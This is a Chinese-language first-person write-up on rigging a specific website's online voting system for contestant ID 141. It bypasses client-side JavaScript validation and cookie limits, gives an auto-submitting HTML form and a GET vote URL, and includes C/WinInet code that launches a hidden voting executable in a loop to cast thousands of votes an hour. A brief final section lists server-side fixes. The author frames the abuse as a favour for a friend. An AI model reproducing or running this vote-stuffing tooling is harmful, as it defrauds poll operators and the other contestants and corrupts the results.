第一步 摸清流程:

投票系统首先要求访客填写一些个人信息后再投票,其中个人信息包括电话邮箱之类的,然后提交数据通过另外一个页面插入到数据库,传过去的值 menberid,也就是选手的id.同时选手的投票数在数据库里面自动加一,达到给选手投票的目的,投票完成后,产生cookies保存你电脑里面,记录你的投票信息,限制你继续投票。

第二步 绕过验证

查看html源代码,只是通过javascript判断而已,这个判断你输入个人信息是否合法,这限制很容易突破,保存源代码,去掉那些javascript验证,重新打开页面,个人信息就可以随便填写了, 下面是投票者填写信息的页面。

第二步 突破限制

进一步测试,经过分析发现访客填写的这些个人信息并没有插入到数据库里面去,只是前台页面验证而已,去掉了javascript验证后,我们可以不用填写个人信息就直接去投票了,这方便多了,为后来的快速投票开辟了一条大道!其中最关键的限制是cookies限制,对于cookies限制,我们可以设置浏览器禁用本站 cookies就可以了?就这样轻易的绕过javascript验证和突破cookies限制了,然后自己编写了一个html页面,去掉了一些多余的代码就可以无限制的投票了,代码如下

 

<form action="http://www.XXXX.cn/tp2/qiu/pointsubmit.asp" method="post" >
<input name="menberid" type="checkbox" checked="checked" id="menberid" value="141" />
<input type="submit" value="提交" />

</form> 打开这个页面后每点击一次提交就可以给id为141的选手投一次票了,我们可以加入javascript让他不需要单击提交按钮就直接提交数据。完整代码如下:
 
<mce:script language="javascript"><!--
function tang()
{
document.form1.submit()
}
// --></mce:script>
<body οnlοad="tang();">
<form name="form1"action="http://www.XXXX.cn/tp2/qiu/pointsubmit.asp" method="post" >
<input name="menberid" type="checkbox" checked="checked" id="menberid" value="141" />
<input name="submit1"type="submit" value="提交" />
</form>
</body>

第三步 再次探究

猜想用get的方法是否也可以提交,经过测试可以提交数据,虽然上面采用post提交,但是pointsubmit.asp接收页面采用request ()方法接收数据,不管post和get来的数据都可以接收,这就好办多了,直接构造url  http://www.XXXX.cn/tp2/qiu/pointsubmit.asp?menberid=141

每浏览一次这个页面就自动投一次票,这种投票方法更方便。

第三步 快马加鞭

这投票系统果然有很大的缺陷,虽然上面的两个方法可以无限制的给选手投票了,但是要开着浏览器经常点击后退按钮才行,点击超过上千票也需要一点时间,反正胜利在握,而且还的是时间,继续研究写一个应用程序出来,先给邢同学打个电话先,告诉她我又要干坏事了,完后就操家伙vc6.0 。利用上面的缺陷可以轻易的编写代码,参考网上的代码如下

 

void vote()
{
    char url[200] = " http://www.cd5c.cn/tp2/qiu/pointsubmit.asp?menberid=141
;
  HINTERNET hinternet=0;
  hinternet=InternetOpen("Microsoft Internet Explorer",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  if(hinternet==0)
  {
    return;
  }
  HINTERNET hInternetFile;
  hInternetFile = InternetOpenUrl(hinternet,url, NULL, 0, INTERNET_FLAG_TRANSFER_BINARY | INTERNET_FLAG_RELOAD |   INTERNET_FLAG_DONT_CACHE, 0);
  if (!hInternetFile)
  {
    return;
  }
  char buffer[2*1024] = "0";
  DWORD dwBytesRead = 0;
  InternetReadFile(hInternetFile,buffer,sizeof(buffer),&dwBytesRead);
  printf("%s/n/n",buffer);
  InternetCloseHandle(hinternet);
  return;
}
上面这个vote()函数实现的功能就是提交一次投票连接,可以增加一票。但是,呵呵,我们可以绕一下,把这个函数编译成exe文件,然后用另外一个程序去不停地CreateProcess这个exe文件,假设上面的代码编译连接成toupiao.exe,你就可以用下面的代码来调用:
void main()
{
printf("code by xiaobai/n/n");
int num = 0;
printf("请输入投票次数: ");
scanf("%d", &num);
int i = 0;
while(i<num)
{
STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.wShowWindow = SW_HIDE;
PROCESS_INFORMATION processinfo;
    if(CreateProcess(NULL, "toupiao.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &startinfo, &processinfo) == 0)
{
printf("Create process error!/n");
return;
}
CloseHandle(processinfo.hProcess);
Sleep(1000);
printf("%d ", i);
i++;
}
return;
}

这样一来,就可以不停地投票了。为了程序的稳定性,我设置了每投一次票就sleep一秒钟,现在,你一个小时就可以投3600票,呵呵,是不是有点过分了,嘿嘿。人气最高的选手决定在我的手里了。这次朋友交给我的任务完成得太好了。

第四步 如何防护

后来我从网上下载了几套投票系统程序研究了一下,几乎都存在上面的缺陷,解决这些缺陷也很容易,如果是通过cookies验证的话,应该要先判断浏览器是否禁用了cookies,如果禁用了就不给投票。

另外一个缺陷是接收数据的那个页面,缺陷解决方法,应该在接收数据页面指定用request.Form接收数据,这样可以防止构造url来传值。还有那些访客填写的个人信息一台传递过去,在另一个页面判断,防止一些人偷懒。